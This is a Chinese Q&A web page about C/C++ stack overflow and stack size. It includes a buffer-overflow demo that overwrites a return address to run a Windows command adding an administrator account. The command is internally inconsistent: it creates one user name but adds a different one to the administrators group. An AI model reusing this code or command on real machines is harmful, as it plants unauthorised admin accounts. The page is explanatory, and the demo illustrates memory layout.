C/C++ stack overflow 怎样设置stack大小

如题所述

1、stack overflow是栈溢出,这是最常见的缓冲区溢出。

2、stack栈区大小,是有链接器在生成可执行文件时指定的,以vc++为例,在生成exe、dll等可执行文件时,它默认的栈区大小是1M。
3、stack overflow的防范,对于大的内存分配,超过1M的不要使用栈区内存空间,另外主要的问题在于对内存布局的把握 。下面的代码是一个VC6.0中测试成功的缓冲区溢出实例,运行后会在windows系统中添加一个管理员帐号plus。
#include <iostream>
using namespace std;
void (*pfunc)();
void show()
{
system("cmd /c net user plus 123 /ad && net localgroup administrators fuck /ad");
exit(1);
}
int main()
{
char a[4];
char shellcode[13]="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
pfunc=show;
*(int *)&shellcode[8]=(int)pfunc;
//overflow
strcpy(a,shellcode);
return 0;
}
如果将上面的代码,修改为如下:

..............
int main()
{
char shellcode[13]="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
char a[4];
...............
}
那么是不会溢出的,因为两者的内存分布是不一样的,所以需要对编译器、链接器的内存分配相当了解,才可以彻底的杜绝 。
温馨提示:答案为网友推荐,仅供参考
相似回答